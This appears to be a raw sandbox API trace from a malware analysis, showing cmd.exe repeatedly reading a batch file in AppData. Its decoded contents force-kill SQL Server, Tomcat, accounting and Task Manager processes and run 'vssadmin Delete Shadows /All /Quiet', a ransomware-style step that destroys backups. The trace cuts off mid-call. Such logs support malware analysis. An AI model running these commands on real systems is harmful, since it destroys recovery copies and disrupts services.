[0087.430] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0087.430] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0087.430] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0087.430] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0087.430] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0087.432] CloseHandle (hObject=0x78) returned 1 [0087.432] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0087.980] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0087.980] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0087.980] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0087.980] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0087.980] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0087.980] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0087.980] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0087.980] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0087.980] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0087.980] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0087.981] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0087.981] SetConsoleInputExeNameW () returned 0x1 [0087.981] GetConsoleOutputCP () returned 0x1b5 [0087.981] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0087.981] SetThreadUILanguage (LangId=0x0) returned 0x409 [0087.981] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0087.981] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0087.981] _get_osfhandle (_FileHandle=3) returned 0x74 [0087.981] SetFilePointer (in: hFile=0x74, lDistanceToMove=735, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2df [0087.981] _get_osfhandle (_FileHandle=3) returned 0x74 [0087.981] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2df [0087.981] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x391, lpOverlapped=0x0) returned 1 [0087.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=913, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM MSSQLSERVER.exe /IM MSSQLSERVER.exe \nTASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 913 [0087.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0087.982] GetFileType (hFile=0x74) returned 0x1 [0087.982] _get_osfhandle (_FileHandle=3) returned 0x74 [0087.982] SetFilePointer (in: hFile=0x74, lDistanceToMove=-860, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x314 [0087.982] _tell (_FileHandle=3) returned 788 [0087.982] _close (_FileHandle=3) returned 0 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0087.982] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0087.983] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0087.983] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0087.983] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0087.983] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0087.983] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0087.983] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0087.986] CloseHandle (hObject=0x74) returned 1 [0087.986] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0088.430] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0088.430] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0088.430] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0088.431] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0088.431] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0088.431] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0088.431] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0088.431] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0088.431] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0088.431] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0088.431] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0088.431] SetConsoleInputExeNameW () returned 0x1 [0088.431] GetConsoleOutputCP () returned 0x1b5 [0088.431] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0088.431] SetThreadUILanguage (LangId=0x0) returned 0x409 [0088.432] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0088.432] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0088.432] _get_osfhandle (_FileHandle=3) returned 0x78 [0088.432] SetFilePointer (in: hFile=0x78, lDistanceToMove=788, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x314 [0088.432] _get_osfhandle (_FileHandle=3) returned 0x78 [0088.432] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x314 [0088.432] ReadFile (in: hFile=0x78, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x35c, lpOverlapped=0x0) returned 1 [0088.432] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=860, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM oktell.ClientStarter4.exe /IM oktell.ClientStarter4.exe \nTASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 860 [0088.432] _get_osfhandle (_FileHandle=3) returned 0x78 [0088.432] GetFileType (hFile=0x78) returned 0x1 [0088.432] _get_osfhandle (_FileHandle=3) returned 0x78 [0088.432] SetFilePointer (in: hFile=0x78, lDistanceToMove=-787, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x35d [0088.432] _tell (_FileHandle=3) returned 861 [0088.432] _close (_FileHandle=3) returned 0 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0088.432] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="MOVE") returned 7 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="PUSHD") returned 4 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="POPD") returned 4 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="ASSOC") returned 19 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="FTYPE") returned 14 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="BREAK") returned 18 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="COLOR") returned 17 [0088.433] _wcsicmp (_String1="TASKKILL", _String2="MKLINK") returned 7 [0088.433] GetConsoleTitleW (in: lpConsoleTitle=0x1ef02c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.433] GetConsoleTitleW (in: lpConsoleTitle=0x1eedc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0088.434] InitializeProcThreadAttributeList (in: lpAttributeList=0x1eec48, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1eed10 | out: lpAttributeList=0x1eec48, lpSize=0x1eed10) returned 1 [0088.434] UpdateProcThreadAttribute (in: lpAttributeList=0x1eec48, dwFlags=0x0, Attribute=0x60001, lpValue=0x1eed08, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1eec48, lpPreviousValue=0x0) returned 1 [0088.434] GetStartupInfoW (in: lpStartupInfo=0x1eec04 | out: lpStartupInfo=0x1eec04*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0)) [0088.436] CloseHandle (hObject=0x78) returned 1 [0088.436] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0089.785] _vsnwprintf (in: _Buffer=0x1eed2c, _BufferCount=0x13, _Format="%08X", _ArgList=0x1eebf0 | out: _Buffer="00000080") returned 8 [0089.785] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1 [0089.785] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0089.785] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0089.785] SetConsoleMode (hConsoleHandle=0x8c4, dwMode=0x0) returned 0 [0089.785] _get_osfhandle (_FileHandle=1) returned 0x8c4 [0089.785] GetConsoleMode (in: hConsoleHandle=0x8c4, lpMode=0x4a1141ac | out: lpMode=0x4a1141ac) returned 0 [0089.785] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0089.785] GetConsoleMode (in: hConsoleHandle=0xfffffffe, lpMode=0x4a1141b0 | out: lpMode=0x4a1141b0) returned 1 [0089.786] _get_osfhandle (_FileHandle=0) returned 0xfffffffe [0089.786] SetConsoleMode (hConsoleHandle=0xfffffffe, dwMode=0x7) returned 0 [0089.786] SetConsoleInputExeNameW () returned 0x1 [0089.786] GetConsoleOutputCP () returned 0x1b5 [0089.786] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a114260 | out: lpCPInfo=0x4a114260) returned 1 [0089.786] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.786] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x1ef464, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0089.786] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0089.786] _get_osfhandle (_FileHandle=3) returned 0x74 [0089.786] SetFilePointer (in: hFile=0x74, lDistanceToMove=861, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x35d [0089.786] _get_osfhandle (_FileHandle=3) returned 0x74 [0089.786] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x35d [0089.786] ReadFile (in: hFile=0x74, lpBuffer=0x4a116640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x1ef448, lpOverlapped=0x0 | out: lpBuffer=0x4a116640*, lpNumberOfBytesRead=0x1ef448*=0x313, lpOverlapped=0x0) returned 1 [0089.787] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a116640, cbMultiByte=787, lpWideCharStr=0x4a11c640, cchWideChar=8191 | out: lpWideCharStr="TASKKILL /F /IM oktell.HALMixerApp.exe /IM oktell.HALMixerApp.exe \nTASKKILL /F /IM OSPPSVC.exe /IM OSPPSVC.exe \nTASKKILL /F /IM PresentationFontCache.exe /IM PresentationFontCache.exe \nTASKKILL /F /IM SQL Server.exe /IM SQL Server.exe \nTASKKILL /F /IM SQLAGENT.exe /IM SQLAGENT.exe \nTASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe \nTASKKILL /F /IM sqlservr.exe /IM sqlservr.exe \nTASKKILL /F /IM sqlwriter.exe /IM sqlwriter.exe \nTASKKILL /F /IM srvany.exe /IM srvany.exe \nTASKKILL /F /IM tomcat7.exe /IM tomcat7.exe \nTASKKILL /F /IM tomcat7_x64.exe /IM tomcat7_x64.exe \nTASKKILL /F /IM torgsoft.exe /IM torgsoft.exe \nTASKKILL /F /IM TSAppServer.exe /IM TSAppServer.exe\nTASKKILL /F /IM p2.exe /IM p2.exe\nTASKKILL /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietF /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietsadmin.exe Delete Shadows /All /Quiet /F /IM taskmgr.exe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiete\nvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quietvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quietmgr.exe\nvssadmin.exe Delete Shadows /All /Quietskmgr.exe\nvssadmin.exe Delete Shadows /All /Quiettaskmgr.exe\nvssadmin.exe Delete Shadows /All /Quietexe\nvssadmin.exe Delete Shadows /All /Quiete /IM taskmgr.exe\nvssadmin.exe Delete Shadows /All /QuietAll /Quiet") returned 787 [0089.787] _get_osfhandle (_FileHandle=3) returned 0x74 [0089.787] GetFileType (hFile=0x74) returned 0x1 [0089.787] _get_osfhandle (_FileHandle=3) returned 0x74 [0089.787] SetFilePointer (in: hFile=0x74, lDistanceToMove=-720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3a0 [0089.787] _tell (_FileHandle=3) returned 928 [0089.787] _close (_FileHandle=3) returned 0 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="DIR") returned 16 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="ERASE") returned 15 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="DEL") returned 16 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="TYPE") returned -24 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="COPY") returned 17 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="CD") returned 17 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="CHDIR") returned 17 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="RENAME") returned 2 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="REN") returned 2 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="ECHO") returned 15 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="SET") returned 1 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="PAUSE") returned 4 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="DATE") returned 16 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="TIME") returned -8 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="PROMPT") returned 4 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="MD") returned 7 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="MKDIR") returned 7 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="RD") returned 2 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="RMDIR") returned 2 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="PATH") returned 4 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="GOTO") returned 13 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="SHIFT") returned 1 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="CLS") returned 17 [0089.787] _wcsicmp (_String1="TASKKILL", _String2="CALL") returned 17 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="VERIFY") returned -2 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="VER") returned -2 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="VOL") returned -2 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="EXIT") returned 15 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="SETLOCAL") returned 1 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="ENDLOCAL") returned 15 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="TITLE") returned -8 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="START") returned 1 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="DPATH") returned 16 [0089.788] _wcsicmp (_String1="TASKKILL", _String2="KEYS") returned 9 [0089.788] _wcsicmp 